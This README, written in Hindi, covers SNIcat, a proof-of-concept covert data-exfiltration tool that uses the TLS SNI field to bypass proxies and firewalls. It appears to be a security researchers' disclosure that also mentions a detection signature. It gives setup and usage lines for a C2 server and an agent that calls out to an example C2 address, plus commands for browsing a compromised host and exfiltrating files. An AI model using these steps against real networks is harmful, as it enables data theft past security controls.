
SNIcat एक प्रूफ ऑफ कॉन्सेप्ट टूल है जो सर्वर नाम संकेत (Server Name Indication), एक TLS क्लाइंट हैलो एक्सटेंशन के माध्यम से एक गुप्त चैनल विधि का उपयोग करके डेटा निकासी (data exfiltration) करता है। टूल में एक एजेंट होता है जो समझौता किए गए आंतरिक होस्ट पर रहता है, और एक कमांड और नियंत्रण (Command & Control) सर्वर होता है जो एजेंट को नियंत्रित करता है और निकासी किए गए डेटा को एकत्र करता है।
SNIcat के पीछे की पूरी कहानी हमारे ब्लॉग पोस्ट में पाई जा सकती है।
SNIcat को macOS और विभिन्न लिनक्स वितरणों पर परीक्षण किया गया है। हालांकि इसे आसानी से पोर्ट किया जा सकता है, वर्तमान में कोई Windows संस्करण नहीं है, क्योंकि यह केवल एक PoC टूल है।
निकासी विधि स्पष्ट प्रॉक्सी (explicit proxies) के साथ काम नहीं करती, क्योंकि स्पष्ट प्रॉक्सी के माध्यम से कनेक्ट होने पर TLS क्लाइंट हैलो के बजाय HTTP CONNECT का उपयोग किया जाता है।
SNIcat उन उत्पादों और सॉफ्टवेयर संस्करणों के साथ काम नहीं कर सकता जिनका हमने परीक्षण नहीं किया है, लेकिन इसका मतलब यह नहीं है कि उत्पाद और/या सॉफ्टवेयर संस्करण कमजोर नहीं हैं।

हमने डेटा निकासी की एक नई गुप्त विधि की खोज की है जो विशेष रूप से वेब प्रॉक्सी, नेक्स्ट जनरेशन फायरवॉल (NGFW), और TLS इंटरसेप्शन और निरीक्षण के लिए समर्पित समाधान जैसे सुरक्षा परिधि समाधानों को बायपास करती है। हमारा परीक्षण यह मान्य करता है कि यह एक व्यापक समस्या है जो विभिन्न प्रकार के सुरक्षा समाधानों के साथ-साथ विभिन्न विक्रेताओं के समाधानों को प्रभावित करती है। हमने Cisco, F5 Networks, Palo Alto Networks और Fortinet के उत्पादों के खिलाफ अपनी तकनीक का सफलतापूर्वक परीक्षण किया, और अनुमान लगाया कि कई अन्य विक्रेता भी संवेदनशील हैं।
अपनी निकासी विधि SNIcat का उपयोग करके, हमने पाया कि हम TLS निरीक्षण करने वाले सुरक्षा परिधि समाधान को बायपास कर सकते हैं, भले ही हम जिस Command & Control (C2) डोमेन का उपयोग कर रहे हैं, वह सुरक्षा समाधानों में निर्मित सामान्य प्रतिष्ठा और खतरे की रोकथाम सुविधाओं द्वारा अवरुद्ध हो। संक्षेप में, हमने पाया कि उपयोगकर्ताओं की सुरक्षा के लिए डिज़ाइन किए गए समाधानों ने उन्हें एक नई कमजोरी से परिचित कराया है।
हमने इस विशिष्ट टूल का पता लगाने के लिए एक Suricata सिग्नेचर भी प्रदान किया है।
रिपॉजिटरी को क्लोन करें:
https://github.com/mnemonic-no/SNIcat.git
निर्भरताएँ स्थापित करें:
pip3 install -r requirements.txt --user
C2
सार्वजनिक रूप से विश्वसनीय CA से एक वाइल्डकार्ड प्रमाणपत्र और कुंजी प्राप्त करें। यह GOOD_CERT और GOOD_CERT_KEY का प्रतिनिधित्व करता है।
एक स्व-हस्ताक्षरित प्रमाणपत्र और कुंजी (जो किसी भी विश्वसनीय स्टोर में नहीं है) का उपयोग BAD_CERT और BAD_CERT_KEY के रूप में करें।
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
एजेंट
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) EXAMPLE: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
C2 उपलब्ध कमांड
LIST - वर्तमान फ़ोल्डर में सभी सामग्री प्रदर्शित करें
LS - वर्तमान फ़ोल्डर में केवल फ़ाइलें प्रदर्शित करें
SIZE - वर्तमान फ़ोल्डर में फ़ाइलों का आकार प्रदर्शित करें
LD - वर्तमान फ़ोल्डर में प्रत्येक निर्देशिका प्रदर्शित करें
CB - रूट ट्री फ़ोल्डर में नीचे जाता है - 'cd ..' के समान
CD <folder-id> - निर्दिष्ट फ़ोल्डर में ऊपर जाता है
EX <file-id> - निर्दिष्ट फ़ाइल को निकासी करें
ALIVE - एजेंट जीवित/मृत जांचें
EXIT - C2 सर्वर से बाहर निकलें